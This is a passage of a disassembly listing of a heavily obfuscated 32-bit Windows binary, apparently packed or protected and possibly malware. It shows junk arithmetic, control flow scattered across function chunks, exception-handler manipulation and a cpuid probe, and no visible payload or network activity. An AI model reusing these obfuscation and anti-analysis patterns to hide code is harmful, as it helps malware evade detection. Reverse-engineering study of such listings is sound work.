
loc_4256E0:				; CODE XREF: sub_428B5B:loc_4236B4j
		call	sub_425C2C
		test	al, al
		jz	nullsub_195
		jmp	loc_42DC1F
; END OF FUNCTION CHUNK	FOR sub_428B5B
; ---------------------------------------------------------------------------


loc_4256F2:				; CODE XREF: _7hdaygc1:00424E8Cj
		xchg	edx, ebp
		jnz	loc_428530


loc_4256FA:				; CODE XREF: _7hdaygc1:loc_423642j
		rol	esi, 17h
		and	ecx, 7F2D2DDFh


loc_425703:				; CODE XREF: _7hdaygc1:loc_423E92j
		push	1388h
		push	offset loc_42B3F8
		jmp	loc_423EFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_425712:				; CODE XREF: sub_426130-2CD1j
		push	eax
		push	0F5CA3E9Fh
		pop	eax
		sub	eax, 0A3D58981h
		jnb	loc_42DF98


loc_425725:				; CODE XREF: sub_425339+1Cj
		jmp	loc_424F89
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
		shl	ecx, 10h
		jmp	loc_4236B9
; ---------------------------------------------------------------------------


loc_425732:				; DATA XREF: sub_42AFB3:loc_4266EEo
		pop	ecx
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_425735	proc near		; CODE XREF: sub_42AFB3+2p

; FUNCTION CHUNK AT 00425DF6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00427E44 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004280ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004298E4 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042B7FB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BB14 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042C746 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042E6A1 SIZE 00000016 BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	sub_42986C
		call	sub_42B9E1
		jmp	loc_4280ED
sub_425735	endp


; =============== S U B	R O U T	I N E =======================================



sub_425752	proc near		; DATA XREF: sub_42DD73-9E1Fo

var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004239CF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042584B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00426014 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042924F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042A04D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C153 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C80B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042D626 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042F587 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042FBAC SIZE 00000005 BYTES

		mov	eax, [ebp-4]
		push	eax


loc_425756:				; CODE XREF: _7hdaygc1:0042C108j
		mov	eax, 7FFFh
		call	sub_42EF30
		jno	loc_42F587
		add	eax, 8000h
		jmp	loc_4239CF
sub_425752	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD68


loc_425770:				; CODE XREF: sub_42FD68-1C1Dj
		shr	edi, 9


loc_425773:				; CODE XREF: sub_42FD68-1C29j
		xor	ecx, 4ECA0E40h
		jns	loc_42C45E
		sub	ebp, 61DAE5BCh
		sbb	edi, ecx
		jmp	loc_42C45B
; END OF FUNCTION CHUNK	FOR sub_42FD68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BA2C


loc_42578C:				; CODE XREF: sub_42BA2C:loc_429BE8j
		call	sub_42D4B1


loc_425791:				; CODE XREF: sub_42B470-284Fj
		jmp	loc_428FDD
; END OF FUNCTION CHUNK	FOR sub_42BA2C
; ---------------------------------------------------------------------------
		ror	eax, 1Ah
		jmp	sub_4287D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FCD3


loc_42579E:				; CODE XREF: sub_42FCD3:loc_42B7D3j
					; sub_428498+35B2j
		jnz	loc_42DF67
		jmp	loc_424F8E
; END OF FUNCTION CHUNK	FOR sub_42FCD3
; ---------------------------------------------------------------------------


loc_4257A9:				; DATA XREF: sub_424BE6:loc_423B03o
		xchg	ebx, [esp]
		jmp	loc_42D9AD
; ---------------------------------------------------------------------------


loc_4257B1:				; CODE XREF: _7hdaygc1:00429C53j
		pop	ebp
		jmp	loc_4297CE
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: _7hdaygc1:0042D67Dj
		add	esp, 8
		push	esi
		push	offset loc_426A87
		jmp	locret_42B9E0
; ---------------------------------------------------------------------------


loc_4257C5:				; DATA XREF: sub_4253A0+520Bo
		xchg	edi, [esp]
		jmp	sub_424BE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_4257CD:				; CODE XREF: sub_423648:loc_426E60j
		mov	[ebp-0Ch], eax
		jmp	loc_42B09C
; ---------------------------------------------------------------------------


loc_4257D5:				; CODE XREF: sub_423648:loc_423652j
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_427D73
		mov	eax, 6
		jmp	loc_42D10C
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DB44


loc_4257E9:				; CODE XREF: sub_42DB44+1FBEj
		cpuid
		push	offset loc_424765
		jmp	nullsub_152
; END OF FUNCTION CHUNK	FOR sub_42DB44
; ---------------------------------------------------------------------------


loc_4257F5:				; CODE XREF: _7hdaygc1:00427083j
		ror	ecx, 11h
		xor	ebp, edx


loc_4257FA:				; CODE XREF: _7hdaygc1:loc_427070j
		or	ebx, ds:4000F9h
		and	ebx, 0C37FBEEFh
		add	ebx, 3FD770D1h
		call	sub_42D8AF
; START	OF FUNCTION CHUNK FOR sub_42B057


loc_425811:				; CODE XREF: sub_42B057+14j
		jmp	nullsub_37
; END OF FUNCTION CHUNK	FOR sub_42B057
; ---------------------------------------------------------------------------


loc_425816:				; CODE XREF: _7hdaygc1:004270C4j
		push	235AC278h

; =============== S U B	R O U T	I N E =======================================



sub_42581B	proc near		; CODE XREF: sub_42C443:loc_4239BAp

; FUNCTION CHUNK AT 00424814 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004262B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042843B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042860E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D1B8 SIZE 00000023 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jz	loc_42481E
		jmp	loc_42D1B8
sub_42581B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		and	ecx, 9167BCBEh
		jmp	sub_42D16D
; ---------------------------------------------------------------------------


loc_425835:				; DATA XREF: _7hdaygc1:0042A457o
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD68


loc_425839:				; CODE XREF: sub_42FD68+Cj
		jmp	loc_42E13C
; END OF FUNCTION CHUNK	FOR sub_42FD68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED2A


loc_42583E:				; CODE XREF: sub_42ED2A-BC73j
					; sub_42ED2A-314j
		mov	eax, [ebp-4]
		push	offset loc_42E50D
		jmp	loc_425A1B
; END OF FUNCTION CHUNK	FOR sub_42ED2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425752


loc_42584B:				; CODE XREF: sub_425752+70CBj
		jz	loc_42D626
; END OF FUNCTION CHUNK	FOR sub_425752
; START	OF FUNCTION CHUNK FOR sub_425522


loc_425851:				; CODE XREF: sub_425522-22BBj
		jmp	loc_428FE8
; END OF FUNCTION CHUNK	FOR sub_425522
; ---------------------------------------------------------------------------
		push	ebx
		add	ecx, eax
		jno	loc_42A309


loc_42585F:				; CODE XREF: _7hdaygc1:0042D6ACj
		jmp	loc_42D626
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E43B


loc_425864:				; CODE XREF: sub_42E43B+1Cj
		mov	ecx, eax
		xchg	ecx, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_42E43B
; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_425869:				; CODE XREF: sub_42DD73:loc_42D1F9j
		mov	eax, esp
		jmp	loc_428A6F
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_425870:				; CODE XREF: sub_4288FEj
		mov	eax, ds:dword_42B9A0
		or	eax, eax
		jnz	loc_423B92
		jmp	loc_425D1B
; END OF FUNCTION CHUNK	FOR sub_4288FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_425883:				; CODE XREF: sub_42E283-4006j
		call	sub_424DF3
		test	al, al
		jz	nullsub_83
		jmp	loc_42E2F6
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		jmp	loc_42AD8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C48C


loc_42589C:				; CODE XREF: sub_42C48C:loc_42C0B7j
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 80h
		jz	loc_42B0D4
		inc	dword ptr [ebp-8]


loc_4258AC:				; CODE XREF: sub_42C48C+1DC3j
					; sub_42C48C:loc_42F5F3j
		mov	eax, [ebp-8]
		call	sub_42B0CC


loc_4258B4:				; CODE XREF: sub_426BF7+64E8j
		jmp	nullsub_46
; END OF FUNCTION CHUNK	FOR sub_42C48C
; ---------------------------------------------------------------------------


loc_4258B9:				; CODE XREF: _7hdaygc1:0042AB9Aj
		jmp	loc_42963E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAD5


loc_4258BE:				; CODE XREF: sub_42BAD5-5AEEj
		jmp	nullsub_41
; END OF FUNCTION CHUNK	FOR sub_42BAD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424680


loc_4258C3:				; CODE XREF: sub_424680:loc_428BCFj
		sub	[ebp-38h], eax
		cmp	dword ptr [ebp-38h], 0
		jle	loc_426C06
		jmp	loc_42AB47
; END OF FUNCTION CHUNK	FOR sub_424680
; ---------------------------------------------------------------------------


loc_4258D5:				; CODE XREF: _7hdaygc1:0042319Aj
		or	eax, 701F2A9Ah
		test	eax, 200000h
		jmp	loc_428169
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425008


loc_4258E6:				; CODE XREF: sub_425008+Bj
		pop	ecx
		sub	ecx, 0D22DF8E6h
		xor	ecx, 0AD9E1DF2h
		add	ecx, 5877F543h
		add	ecx, ebp
		jmp	loc_429B89
; END OF FUNCTION CHUNK	FOR sub_425008
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BEC6


loc_425900:				; CODE XREF: sub_42BEC6-2834j
		jo	loc_42D5C3
		shl	edx, 1Bh


loc_425909:				; CODE XREF: sub_42BEC6:loc_42D3ADj
		xor	eax, 202E3C5Ah
		add	eax, 0A627CB3Fh
		push	offset sub_42F642
		jmp	nullsub_188
; END OF FUNCTION CHUNK	FOR sub_42BEC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42591F:				; CODE XREF: sub_42C16F-1E8Bj
		add	eax, ebp
		add	eax, 2A6BBC9Dh
		mov	eax, [eax]
		mov	eax, [eax]
		shr	eax, 0Bh
		push	898C4853h
		jmp	loc_42DD55
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------

locret_425938:				; CODE XREF: _7hdaygc1:0042704Ej
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	2010h
		push	0
		call	sub_42EE8A
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_425946:				; CODE XREF: sub_4291EA-49Ej
		xor	eax, 0FE0D4E38h
		jnz	sub_42E0C4
		xor	ebx, eax


loc_425954:				; CODE XREF: sub_4291EA:loc_4230C2j
		call	sub_42D757
		mov	edx, 0D504D785h
		call	sub_42C1AF
		push	ebx
		mov	ebx, eax
		jmp	loc_429357
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------


loc_42596B:				; CODE XREF: _7hdaygc1:0042B6D7j
		jnz	loc_42929E
		add	ecx, edx
		shr	esi, 1Dh
		jmp	loc_429298
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB83


loc_42597B:				; CODE XREF: sub_42BB83:loc_426E5Bj
		xchg	esi, [esp+0Ch+var_C]
		push	eax
		pushf
		push	72A6FDB9h
		pop	eax
		and	eax, 0CCC3DD0h
		jmp	loc_42C8BC
; END OF FUNCTION CHUNK	FOR sub_42BB83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_425991:				; CODE XREF: sub_42C16F-371Dj
		jz	loc_424906
		jmp	loc_42D045
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4268D9


loc_42599C:				; CODE XREF: sub_4268D9:loc_428DE1j
		pushf
		push	9AB52D1Ah
		pop	esi
		rol	esi, 1Bh
		add	esi, 2B6CF210h
		popf
		xchg	esi, [esp+0]
		jmp	sub_42C50D
; END OF FUNCTION CHUNK	FOR sub_4268D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A1B6


loc_4259B5:				; CODE XREF: sub_42A1B6+20B0j
		pop	edi
		and	edi, 0FFF68237h
		sub	edi, 99ABE5EBh
		add	edi, 628B5F5Eh
		call	sub_428802
; END OF FUNCTION CHUNK	FOR sub_42A1B6
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_4259CD:				; CODE XREF: sub_4273CA+Aj
		jmp	loc_4256A5
; END OF FUNCTION CHUNK	FOR sub_4273CA
; ---------------------------------------------------------------------------


loc_4259D2:				; CODE XREF: _7hdaygc1:004252C3j
		jg	loc_4265D1
		mov	eax, edx


loc_4259DA:				; CODE XREF: _7hdaygc1:loc_428310j
		xor	ecx, 74101281h
		add	ecx, ebp
		add	ecx, 2C9E0222h
		mov	ecx, [ecx]
		push	eax
		jmp	loc_42F10F

; =============== S U B	R O U T	I N E =======================================



sub_4259F0	proc near		; CODE XREF: _7hdaygc1:004266D2j
					; sub_42C16F-43B9p
		xchg	esi, [esp+0]
		pop	esi
		ror	eax, 19h
		mov	ds:dword_42E534, eax
		retn
sub_4259F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4259FE:				; CODE XREF: _7hdaygc1:0042FBE1j
		jmp	loc_42EAA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42655C


loc_425A03:				; CODE XREF: sub_42655C-B37j
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_42655C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_425A08:				; CODE XREF: sub_424F62+Bj
		jmp	loc_42A35D
; END OF FUNCTION CHUNK	FOR sub_424F62

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425A0D	proc near		; CODE XREF: sub_42D9E1j
		push	ebp
		mov	ebp, esp
		push	offset loc_42EBE8
		jmp	nullsub_66
sub_425A0D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED2A


loc_425A1B:				; CODE XREF: sub_42ED2A-94E4j
		jmp	nullsub_97
; END OF FUNCTION CHUNK	FOR sub_42ED2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42655C


loc_425A20:				; CODE XREF: sub_42655C+Bj
		push	offset loc_42D278
		jmp	loc_425A03
; END OF FUNCTION CHUNK	FOR sub_42655C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E695


loc_425A2A:				; CODE XREF: sub_42E695-8988j
		jnz	loc_42ECA1
		not	edi
		jmp	loc_42EC9D
; END OF FUNCTION CHUNK	FOR sub_42E695

; =============== S U B	R O U T	I N E =======================================



sub_425A37	proc near		; CODE XREF: _7hdaygc1:0042A15Dj
					; sub_42F65A:loc_42B29Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00424DB3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424E3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425165 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004255B0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00425A85 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00426031 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042625B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004264D0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00428576 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428B4A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429DBF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042A017 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042AD77 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042BA05 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C21F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CB9B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042CCEC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042E71C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F4F0 SIZE 00000013 BYTES

		xchg	edx, [esp+0]


loc_425A3A:				; CODE XREF: _7hdaygc1:00428D9Dj
		pop	edx
		add	eax, 250DE66Dh
		mov	eax, [eax]
		call	sub_425BAD


loc_425A48:				; CODE XREF: sub_428613:loc_427F4Aj
		mov	edx, ebp
		xchg	edx, [esp-4+arg_0]
		mov	ebp, esp
		push	ebx
		jmp	loc_425165
sub_425A37	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_425A55:				; CODE XREF: _7hdaygc1:004262CFj
		sub	edx, ebx
		ror	edi, 1Bh
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_425A5A:				; CODE XREF: sub_423DFC:loc_4262BEj
		and	eax, 0CA4BAFCFh
		or	eax, 7EF89A8Ah
		add	eax, 270C7E14h
		add	eax, ebp
		add	eax, 0D9FAE21Ah
		mov	eax, [eax]
		jmp	loc_429B63
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------


loc_425A7B:				; CODE XREF: _7hdaygc1:00429F9Fj
		push	offset loc_425E01
		jmp	loc_4291C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_425A85:				; CODE XREF: sub_425A37:loc_42C21Fj
		popf
		pushf
		xchg	edx, [esp+0]
		mov	eax, edx
		pop	edx
		xor	eax, ecx
		jnz	loc_429DBF
		jmp	loc_424E3D
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291CE


loc_425A9A:				; CODE XREF: sub_4291CE:loc_42878Fj
		pop	ebx
		or	ebx, 16B9C136h
		rol	ebx, 17h
		and	ebx, 41C3B0D8h
		jmp	loc_425472
; END OF FUNCTION CHUNK	FOR sub_4291CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6FB


loc_425AAF:				; CODE XREF: sub_42C6FB:loc_42A740j
		add	ebx, 401B42F2h
		shl	ecx, 13h
		ror	ecx, 7
		jmp	sub_42FA3D
; END OF FUNCTION CHUNK	FOR sub_42C6FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A4F1


loc_425AC0:				; CODE XREF: sub_42A4F1+ED2j
		mov	eax, ds:dword_4246C8


loc_425AC6:				; CODE XREF: sub_42EE8A:loc_426FCDj
		or	eax, eax
		jnz	loc_42827D
		jmp	loc_42DA96
; END OF FUNCTION CHUNK	FOR sub_42A4F1
; ---------------------------------------------------------------------------
		sbb	eax, esi
		pop	esi


loc_425AD6:				; CODE XREF: _7hdaygc1:004235BAj
		cmp	ecx, 0E5C53F43h
		jmp	loc_42A13A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A104


loc_425AE1:				; CODE XREF: sub_42A104+1j
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		call	sub_42C48C


loc_425AEE:				; CODE XREF: sub_423DFC+32E5j
		jmp	loc_42F0A0
; END OF FUNCTION CHUNK	FOR sub_42A104
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_42F074
; ---------------------------------------------------------------------------
		push	ebp
		push	edx
		push	0A0FEC4D0h
		pop	edx
		or	edx, 94A5F531h
		rol	edx, 2
		add	edx, 0E0D675E0h
		jmp	loc_42AB8E
; ---------------------------------------------------------------------------


loc_425B15:				; CODE XREF: _7hdaygc1:0042B1BBj
		xor	edi, 0CBE2F063h
		add	edi, 28FAF11Bh
		rol	edi, 13h
		add	edi, 0F341C1FDh
		popf
		push	offset loc_42D32F
		jmp	loc_42C47C
; ---------------------------------------------------------------------------


loc_425B35:				; DATA XREF: sub_429318+1CB0o
		call	sub_42A94C
		mov	edx, [ebp-4]
		lea	eax, [ebp-10h]
		push	6158190Bh
		pop	ecx
		sub	ecx, 9C306FB6h
		or	ecx, 56DC81BCh
		xor	ecx, 42CC9540h
		jmp	loc_42B1A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E695


loc_425B5D:				; CODE XREF: sub_42E695-9B65j
		xchg	ebp, eax
		jmp	loc_423B5B
; END OF FUNCTION CHUNK	FOR sub_42E695
; ---------------------------------------------------------------------------


loc_425B64:				; DATA XREF: sub_425BAD+8137o
		push	ecx
		mov	esp, ebp
		xchg	edx, [esp]
		mov	ebp, edx
		pop	edx
		push	0B2796F04h
		pop	eax
		jmp	loc_423CA0

; =============== S U B	R O U T	I N E =======================================



sub_425B78	proc near		; CODE XREF: _7hdaygc1:00424ECEj
					; _7hdaygc1:0042CAAAp

; FUNCTION CHUNK AT 004281BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CB3A SIZE 00000009 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	edx, 0F4B988C4h
		call	sub_42C1AF
		jmp	loc_42CB3A
sub_425B78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_425B8C:				; CODE XREF: sub_4288FE+5048j
		pop	ebx
		rol	ebx, 1Ch
		sub	ebx, 9F3B21E0h
		and	ebx, 2724F003h
		jmp	loc_4248A0
; END OF FUNCTION CHUNK	FOR sub_4288FE
; ---------------------------------------------------------------------------
		adc	edi, 0FE13BAE3h
		jmp	sub_42F05E
; ---------------------------------------------------------------------------


loc_425BAC:				; CODE XREF: _7hdaygc1:00427042j
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_425BAD	proc near		; CODE XREF: sub_425A37+Cp

; FUNCTION CHUNK AT 00424A4B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042649C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004267DF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042BFDB SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042C344 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DCDD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042DF01 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042F059 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		mov	eax, [ebp-4]
		push	eax
		push	3E282D92h
		pop	eax
		jmp	loc_42C344
sub_425BAD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4252C8


loc_425BC1:				; CODE XREF: sub_4252C8+Aj
		push	offset loc_42CE3F
		jmp	loc_42A88D
; END OF FUNCTION CHUNK	FOR sub_4252C8
; ---------------------------------------------------------------------------


loc_425BCB:				; CODE XREF: _7hdaygc1:0042ABDEj
		xchg	edi, ebx

; =============== S U B	R O U T	I N E =======================================



sub_425BCD	proc near		; CODE XREF: _7hdaygc1:0042BE0Ep

; FUNCTION CHUNK AT 0042B1C0 SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	69F6F3FFh
		pop	eax
		or	eax, 0DAB43A9Dh
		xor	eax, 0EE3A7CDFh
		jmp	loc_42B1C0
sub_425BCD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_425BE8:				; DATA XREF: _7hdaygc1:0042AA7Bo
		mov	ds:dword_425154, eax
; START	OF FUNCTION CHUNK FOR sub_4291A3


loc_425BED:				; CODE XREF: sub_42C119-439Bj
					; _7hdaygc1:00427D89j ...
		mov	esp, ebp
		pop	ebp
		push	ds:dword_425154
		retn
; END OF FUNCTION CHUNK	FOR sub_4291A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42524F


loc_425BF7:				; CODE XREF: sub_42524F+171Dj
		jmp	loc_42B431
; END OF FUNCTION CHUNK	FOR sub_42524F

; =============== S U B	R O U T	I N E =======================================



sub_425BFC	proc near		; CODE XREF: sub_4291A3-5037p
					; sub_4291A3-127Bp

; FUNCTION CHUNK AT 004246BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C530 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042F36D SIZE 00000005 BYTES

		mov	eax, cs
		xor	al, al
		or	eax, eax
		jmp	loc_42F36D
sub_425BFC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F3C8


loc_425C07:				; CODE XREF: sub_42F3C8-1959j
		xor	eax, 200000h
		push	esi
		mov	esi, eax
		xchg	esi, [esp+14h+var_14]
		jmp	loc_4242B1
; END OF FUNCTION CHUNK	FOR sub_42F3C8
; ---------------------------------------------------------------------------
		push	2010h
		push	0
		mov	eax, [ebp-4]
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		jmp	loc_42808D

; =============== S U B	R O U T	I N E =======================================



sub_425C2C	proc near		; CODE XREF: _7hdaygc1:004253F5j
					; sub_428B5B:loc_4256E0p

; FUNCTION CHUNK AT 00423987 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423F33 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426826 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00426D0B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426E43 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042A9ED SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042BC94 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042BF18 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042D869 SIZE 0000000C BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jmp	loc_423987
sub_425C2C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425C3B	proc near		; CODE XREF: _7hdaygc1:00424789j
					; sub_425A37+9AC2p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042312E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423488 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00423E43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042487A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00424D5F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00426206 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00426A5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427D07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428422 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00429976 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429BAD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429C13 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042A03E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A3A7 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042A911 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042CF16 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042E08C SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0042E706 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042F7C9 SIZE 00000017 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [eax]
		mov	eax, [eax]


loc_425C43:				; CODE XREF: sub_424588+6j
		push	ebx
		push	0FF9073A2h
		pop	ebx
		jmp	loc_426A5D
sub_425C3B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D002


loc_425C4F:				; CODE XREF: sub_42D002+14j
		pop	edx
		xchg	ebx, [ebp+0]
		popf
		cmp	edi, 0F84CBB1h
		jmp	loc_42651E
; END OF FUNCTION CHUNK	FOR sub_42D002

; =============== S U B	R O U T	I N E =======================================



sub_425C5F	proc near		; DATA XREF: _7hdaygc1:004234D2o
		shl	eax, cl
		push	offset loc_4248E4
		jmp	nullsub_177
sub_425C5F	endp

; ---------------------------------------------------------------------------


loc_425C6B:				; CODE XREF: _7hdaygc1:00424B9Aj
		cdq
		pop	eax


